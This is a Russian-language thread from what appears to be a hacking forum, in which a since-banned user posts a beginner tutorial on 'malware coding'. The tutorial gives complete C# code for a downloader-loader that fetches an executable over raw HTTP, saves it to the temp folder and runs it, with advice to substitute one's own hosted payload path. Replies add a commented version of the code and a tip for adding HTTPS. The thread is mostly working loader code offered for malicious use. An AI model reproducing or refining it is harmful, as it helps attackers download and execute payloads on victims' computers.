• XSS.stack #1 – первый литературный журнал от юзеров форума

Простенький HTTP лоадер на C#

MORGENSHTERN

HDD-drive
Забанен
Регистрация
18.04.2022
Сообщения
33
Реакции
12
Гарант сделки
2
Пожалуйста, обратите внимание, что пользователь заблокирован
приветствую читателей данной статьи
статья предназначена для совсем новичков в малварь-кодинге и тут будет максимально простой код
сегодня мы напишем простенький HTTP лоадер на C# без дотнетовского WebClient
проще говоря будем делать костыли 😁
сразу скажу он не поддерживает HTTPS :confused:

итак, для начала набросаем переменных в код:
C#:
string url = "example.com";
string filePath = Path.Combine(Path.GetTempPath(), "program.exe");
думаю объяснять для чего они не нужно

далее мы пишем код который создает TCP-клиент и отправляет HTTP запрос на URL example.com/7z.exe и записывает ответ от сервера без HTTP-заголовка в %TEMP%\program.exe (название файла можно поменять в переменных которые мы создали выше)
C#:
  using (TcpClient client = new TcpClient(url, 80))
  using (NetworkStream networkStream = client.GetStream())
  {
      string request = "GET /7z.exe HTTP/1.1\r\n" +
                       $"Host: {url}\r\n" +
                       "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" +
                       "Connection: close\r\n\r\n";
      byte[] requestBytes = Encoding.UTF8.GetBytes(request);
      networkStream.Write(requestBytes, 0, requestBytes.Length);
      using (FileStream fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write))
      {
          byte[] buffer = new byte[8192];
          int bytesRead;
          bool headersProcessed = false;
          while ((bytesRead = networkStream.Read(buffer, 0, buffer.Length)) > 0)
          {
              if (!headersProcessed)
              {
                  string responseHeaders = Encoding.UTF8.GetString(buffer, 0, bytesRead);
                  int headerEndIndex = responseHeaders.IndexOf("\r\n\r\n");
                  if (headerEndIndex >= 0)
                  {
                      headersProcessed = true;
                      int bodyStartIndex = headerEndIndex + 4;
                      fileStream.Write(buffer, bodyStartIndex, bytesRead - bodyStartIndex);
                  }
              }
              else
              {
                  fileStream.Write(buffer, 0, bytesRead);
              }
          }
      }
  }

следовательно если у вас файл расположен где-нибудь на http://example.com/files/hosting/odfjoqiwfjwqof40.exe вы вместо "/7z.exe" вставляете "/files/hosting/odfjoqiwfjwqof40.exe"
далее пишем код для запуска процесса:
C#:
System.Diagnostics.Process.Start(filePath);

вот и все, наш чудо-лоадер готов :cool:
 
статья предназначена для совсем новичков в малварь-кодинге
Не хочу быть душнилой :) но
это статья для новичков по написанию лоадера ? так объясни пожалуйста почему отказался от webclient,a и добавь комментарии к коду чтоб 'новичкам' понятно было ) Пока это просто кусок кода а не статья )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
это статья для новичков по написанию лоадера ? так объясни пожалуйста почему отказался от webclient,a
отказался от webclient'а чтобы новички познавали другие реализации)
в интернете лоадеров с вебклиентом пруд пруди , а такой "голой" реализации я не видел)
a и добавь комментарии к коду чтоб 'новичкам' понятно было )
да, сейчас добавлю
 
Пожалуйста, обратите внимание, что пользователь заблокирован
поставил комменты:
C#:
// создаем объект tcp client для подключение к хосту по порту 80
using (TcpClient client = new TcpClient(url, 80))
// получаем сетевой поток для чтения и записи данных через созданное соединение
using (NetworkStream networkStream = client.GetStream())
{
    // формируем http запрос
    string request = "GET /7z.exe HTTP/1.1\r\n" +
                     $"Host: {url}\r\n" +
                     "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" +
                     "Connection: close\r\n\r\n";

    byte[] requestBytes = Encoding.UTF8.GetBytes(request); // преобразовываем строку в массив байт для отправки через поток
    networkStream.Write(requestBytes, 0, requestBytes.Length); // отправляем

    // создаем поток файла для записи
    using (FileStream fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write))
    {
        byte[] buffer = new byte[8192]; // буффер для хранения считанных данных
        int bytesRead;
        bool headersProcessed = false;

        while ((bytesRead = networkStream.Read(buffer, 0, buffer.Length)) > 0)
        {
            if (!headersProcessed)
            {
                string responseHeaders = Encoding.UTF8.GetString(buffer, 0, bytesRead); // преобразовываем байты в строку для обработки заголовков
                int headerEndIndex = responseHeaders.IndexOf("\r\n\r\n"); // ищем конец заголовков по последовательности "\r\n\r\n"

                if (headerEndIndex >= 0)
                {
                    headersProcessed = true;
                    int bodyStartIndex = headerEndIndex + 4; // определяем начальный индекс тела данных после заголовков
                    fileStream.Write(buffer, bodyStartIndex, bytesRead - bodyStartIndex); // записываем файл
                }
            }
            else
            {
                fileStream.Write(buffer, 0, bytesRead); // если заголовки уже обработаны, записываем байты в файл
            }
        }
    }
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
а если обернуть NetworkStream в SslStream, то и поддержка httpS легко добавляется
ну, основа у вас есть - дерзайте)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх